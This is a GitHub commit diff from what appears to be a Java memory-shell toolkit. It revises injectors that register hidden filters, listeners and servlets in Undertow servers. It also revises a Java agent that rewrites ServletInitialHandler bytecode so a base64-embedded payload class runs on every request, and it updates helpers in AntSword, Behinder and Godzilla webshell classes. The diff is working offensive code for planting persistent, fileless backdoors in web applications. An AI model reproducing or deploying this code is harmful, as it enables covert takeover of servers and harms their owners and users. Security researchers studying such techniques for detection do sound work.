Skip to content

Commit 6465028

Browse files
committed
fix
1 parent 397e55e commit 6465028

File tree

7 files changed

+71
-142
lines changed

7 files changed

+71
-142
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java

Lines changed: 13 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -60,12 +60,18 @@ public List<Object> getContext() {
6060
return contexts;
6161
}
6262

63+
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
64+
try {
65+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
66+
} catch (Exception e) {
67+
Object deploymentInfo = getFieldValue(context, "deploymentInfo");
68+
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
69+
}
70+
}
71+
6372
@SuppressWarnings("all")
6473
private Object getShell(Object context) throws Exception {
65-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
66-
if (classLoader == null) {
67-
classLoader = context.getClass().getClassLoader();
68-
}
74+
ClassLoader classLoader = getWebAppClassLoader(context);
6975
try {
7076
return classLoader.loadClass(getClassName()).newInstance();
7177
} catch (Exception e) {
@@ -79,16 +85,18 @@ private Object getShell(Object context) throws Exception {
7985

8086
public void inject(Object context, Object filter) throws Exception {
8187
if (isInjected(context)) {
88+
System.out.println("filter already injected");
8289
return;
8390
}
84-
Class<?> filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo", true, context.getClass().getClassLoader());
91+
Class<?> filterInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.FilterInfo");
8592
Object deploymentInfo = getFieldValue(context, "deploymentInfo");
8693
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass());
8794
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
8895
Object deploymentImpl = getFieldValue(context, "deployment");
8996
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
9097
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
9198
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
99+
System.out.println("filter inject success");
92100
}
93101

94102
@SuppressWarnings("unchecked")

memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java

Lines changed: 14 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -56,12 +56,18 @@ public List<Object> getContext() throws IllegalAccessException, NoSuchMethodExce
5656
return contexts;
5757
}
5858

59+
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
60+
try {
61+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
62+
} catch (Exception e) {
63+
Object deploymentInfo = getFieldValue(context, "deploymentInfo");
64+
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
65+
}
66+
}
67+
5968
@SuppressWarnings("all")
6069
private Object getShell(Object context) throws Exception {
61-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
62-
if (classLoader == null) {
63-
classLoader = context.getClass().getClassLoader();
64-
}
70+
ClassLoader classLoader = getWebAppClassLoader(context);
6571
try {
6672
return classLoader.loadClass(getClassName()).newInstance();
6773
} catch (Exception e) {
@@ -75,15 +81,17 @@ private Object getShell(Object context) throws Exception {
7581

7682
public void inject(Object context, Object listener) throws Exception {
7783
if (isInjected(context)) {
84+
System.out.println("listener already injected");
7885
return;
7986
}
80-
Class<?> listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
87+
Class<?> listenerInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.ListenerInfo");
8188
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
8289
Object deploymentImpl = getFieldValue(context, "deployment");
8390
Object applicationListeners = getFieldValue(deploymentImpl, "applicationListeners");
84-
Class<?> managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
91+
Class<?> managedListenerClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.core.ManagedListener");
8592
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
8693
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
94+
System.out.println("listener inject success");
8795
}
8896

8997
public boolean isInjected(Object context) throws Exception {

memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletHandlerAgentInjector.java

Lines changed: 25 additions & 118 deletions
Original file line numberDiff line numberDiff line change
@@ -18,9 +18,6 @@
1818
public class UndertowServletHandlerAgentInjector implements ClassFileTransformer {
1919
private static final String TARGET_CLASS = "io/undertow/servlet/handlers/ServletInitialHandler";
2020
private static final String TARGET_METHOD_NAME = "handleFirstRequest";
21-
private static Class<?> payload;
22-
private static ClassLoader targetClassLoader;
23-
private static final String thisClassName = UndertowServletHandlerAgentInjector.class.getName();
2421

2522
public static String getClassName() {
2623
return "{{advisorName}}";
@@ -30,20 +27,6 @@ public static String getBase64String() {
3027
return "{{base64String}}";
3128
}
3229

33-
34-
@Override
35-
public boolean equals(Object obj) {
36-
if (payload == null) {
37-
payload = new AgentShellClassLoader(targetClassLoader).defineDynamicClass(gzipDecompress(decodeBase64(getBase64String())));
38-
}
39-
try {
40-
return payload.newInstance().equals(obj);
41-
} catch (Throwable e) {
42-
e.printStackTrace();
43-
return false;
44-
}
45-
}
46-
4730
public static void premain(String args, Instrumentation inst) throws Exception {
4831
launch(inst);
4932
}
@@ -59,17 +42,17 @@ private static void launch(Instrumentation inst) throws Exception {
5942
String name = allLoadedClass.getName();
6043
if (TARGET_CLASS.replace("/", ".").equals(name)) {
6144
inst.retransformClasses(allLoadedClass);
45+
System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest");
6246
}
6347
}
64-
System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest");
6548
}
6649

6750
@Override
6851
@SuppressWarnings("all")
6952
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
7053
ProtectionDomain protectionDomain, byte[] bytes) {
7154
if (TARGET_CLASS.equals(className)) {
72-
targetClassLoader = loader;
55+
defineTargetClass(loader);
7356
try {
7457
ClassReader cr = new ClassReader(bytes);
7558
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@@ -81,7 +64,7 @@ protected ClassLoader getClassLoader() {
8164
ClassVisitor cv = getClassVisitor(cw);
8265
cr.accept(cv, ClassReader.EXPAND_FRAMES);
8366
return cw.toByteArray();
84-
} catch (Exception e) {
67+
} catch (Throwable e) {
8568
e.printStackTrace();
8669
}
8770
}
@@ -98,8 +81,8 @@ public MethodVisitor visitMethod(int access, String name, String descriptor,
9881
if (TARGET_METHOD_NAME.equals(name)) {
9982
try {
10083
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
101-
return new AgentShellMethodVisitor(mv, argumentTypes, thisClassName);
102-
} catch (Exception e) {
84+
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
85+
} catch (Throwable e) {
10386
e.printStackTrace();
10487
}
10588
}
@@ -129,23 +112,10 @@ public void visitCode() {
129112
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
130113

131114
mv.visitLabel(tryStart);
132-
mv.visitLdcInsn(className);
133-
mv.visitInsn(Opcodes.ICONST_1);
134-
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
135-
"java/lang/ClassLoader",
136-
"getSystemClassLoader",
137-
"()Ljava/lang/ClassLoader;",
138-
false);
139-
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
140-
"java/lang/Class",
141-
"forName",
142-
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;",
143-
false);
144-
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
145-
"java/lang/Class",
146-
"newInstance",
147-
"()Ljava/lang/Object;",
148-
false);
115+
String internalClassName = className.replace('.', '/');
116+
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
117+
mv.visitInsn(Opcodes.DUP);
118+
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
149119
mv.visitInsn(Opcodes.SWAP);
150120
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
151121
"java/lang/Object",
@@ -195,85 +165,6 @@ private int getArgIndex(final int arg) {
195165
}
196166
}
197167

198-
public static class AgentShellClassLoader extends URLClassLoader {
199-
private final ClassLoader targetClassLoader;
200-
201-
public AgentShellClassLoader(ClassLoader targetClassLoader) {
202-
super(new URL[0], ClassLoader.getSystemClassLoader());
203-
this.targetClassLoader = targetClassLoader;
204-
}
205-
206-
@SuppressWarnings("all")
207-
private Object getClassLoadingLock0(String className) {
208-
try {
209-
return getClassLoadingLock(className);
210-
} catch (Throwable t) {
211-
return this;
212-
}
213-
}
214-
215-
public Class<?> defineDynamicClass(byte[] bytes) {
216-
return defineClass(bytes, 0, bytes.length);
217-
}
218-
219-
@Override
220-
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
221-
Class<?> clazz = null;
222-
if (name == null || name.startsWith("java.")) {
223-
clazz = getParent().loadClass(name);
224-
} else {
225-
try {
226-
clazz = findLoadedClass(name);
227-
if (clazz == null) {
228-
synchronized (getClassLoadingLock0(name)) {
229-
clazz = findLoadedClass(name);
230-
if (clazz == null) {
231-
clazz = findClass(name);
232-
}
233-
}
234-
}
235-
} catch (Throwable ignored) {
236-
}
237-
try {
238-
if (clazz == null) {
239-
clazz = getParent().loadClass(name);
240-
}
241-
} catch (ClassNotFoundException e) {
242-
try {
243-
clazz = tryToLoadByContextClassLoader(name, resolve);
244-
} catch (Throwable ignored) {
245-
throw e;
246-
}
247-
}
248-
}
249-
250-
if (resolve) {
251-
resolveClass(clazz);
252-
}
253-
return clazz;
254-
}
255-
256-
public Class<?> tryToLoadByContextClassLoader(String name, boolean resolve) throws ClassNotFoundException {
257-
if (targetClassLoader != null) {
258-
Class<?> clazz = targetClassLoader.loadClass(name);
259-
if (resolve) {
260-
resolveClass(clazz);
261-
}
262-
return clazz;
263-
}
264-
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
265-
if (contextClassLoader != null) {
266-
Class<?> clazz = contextClassLoader.loadClass(name);
267-
if (resolve) {
268-
resolveClass(clazz);
269-
}
270-
return clazz;
271-
} else {
272-
return null;
273-
}
274-
}
275-
}
276-
277168
@SuppressWarnings("all")
278169
public static byte[] decodeBase64(String base64Str) {
279170
Class<?> decoderClass;
@@ -315,4 +206,20 @@ public static byte[] gzipDecompress(byte[] compressedData) {
315206
}
316207
}
317208
}
209+
210+
@SuppressWarnings("all")
211+
public void defineTargetClass(ClassLoader loader) {
212+
try {
213+
loader.loadClass(getClassName());
214+
return;
215+
} catch (ClassNotFoundException ignored) {
216+
}
217+
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
218+
try {
219+
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
220+
defineClass.setAccessible(true);
221+
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
222+
} catch (Exception ignored) {
223+
}
224+
}
318225
}

memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java

Lines changed: 11 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -60,12 +60,18 @@ public List<Object> getContext() throws IllegalAccessException, NoSuchMethodExce
6060
return contexts;
6161
}
6262

63+
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
64+
try {
65+
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
66+
} catch (Exception e) {
67+
Object deploymentInfo = getFieldValue(context, "deploymentInfo");
68+
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
69+
}
70+
}
71+
6372
@SuppressWarnings("all")
6473
private Object getShell(Object context) throws Exception {
65-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
66-
if (classLoader == null) {
67-
classLoader = context.getClass().getClassLoader();
68-
}
74+
ClassLoader classLoader = getWebAppClassLoader(context);
6975
try {
7076
return classLoader.loadClass(getClassName()).newInstance();
7177
} catch (Exception e) {
@@ -86,7 +92,7 @@ public void inject(Object context, Object servlet) throws Exception {
8692
return;
8793
}
8894

89-
Class<?> servletInfoClass = Class.forName("io.undertow.servlet.api.ServletInfo", true, context.getClass().getClassLoader());
95+
Class<?> servletInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.ServletInfo");
9096
Object deploymentInfo = getFieldValue(context, "deploymentInfo");
9197
Object servletInfo = servletInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), servlet.getClass());
9298
invokeMethod(servletInfo, "addMapping", new Class[]{String.class}, new Object[]{getUrlPattern()});

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -46,12 +46,12 @@ public static byte[] base64Decode(String bs) {
4646
byte[] value = null;
4747
Class<?> base64;
4848
try {
49-
base64 = Class.forName("java.util.Base64");
49+
base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader());
5050
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
5151
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
5252
} catch (Exception var6) {
5353
try {
54-
base64 = Class.forName("sun.misc.BASE64Decoder");
54+
base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader());
5555
Object decoder = base64.newInstance();
5656
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
5757
} catch (Exception ignored) {

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -106,12 +106,12 @@ public static byte[] base64Decode(String bs) {
106106
byte[] value = null;
107107
Class<?> base64;
108108
try {
109-
base64 = Class.forName("java.util.Base64");
109+
base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader());
110110
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
111111
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
112112
} catch (Exception var6) {
113113
try {
114-
base64 = Class.forName("sun.misc.BASE64Decoder");
114+
base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader());
115115
Object decoder = base64.newInstance();
116116
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
117117
} catch (Exception ignored) {

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -62,12 +62,12 @@ public static String base64Encode(byte[] bs) throws Exception {
6262
String value = null;
6363
Class<?> base64;
6464
try {
65-
base64 = Class.forName("java.util.Base64");
65+
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
6666
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
6767
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
6868
} catch (Exception var6) {
6969
try {
70-
base64 = Class.forName("sun.misc.BASE64Encoder");
70+
base64 = Class.forName("sun.misc.BASE64Encoder", true, Thread.currentThread().getContextClassLoader());
7171
Object encoder = base64.newInstance();
7272
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
7373
} catch (Exception ignored) {
@@ -81,12 +81,12 @@ public static byte[] base64Decode(String bs) {
8181
byte[] value = null;
8282
Class<?> base64;
8383
try {
84-
base64 = Class.forName("java.util.Base64");
84+
base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader());
8585
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
8686
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
8787
} catch (Exception var6) {
8888
try {
89-
base64 = Class.forName("sun.misc.BASE64Decoder");
89+
base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader());
9090
Object decoder = base64.newInstance();
9191
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
9292
} catch (Exception ignored) {

0 commit comments

Comments
 (0)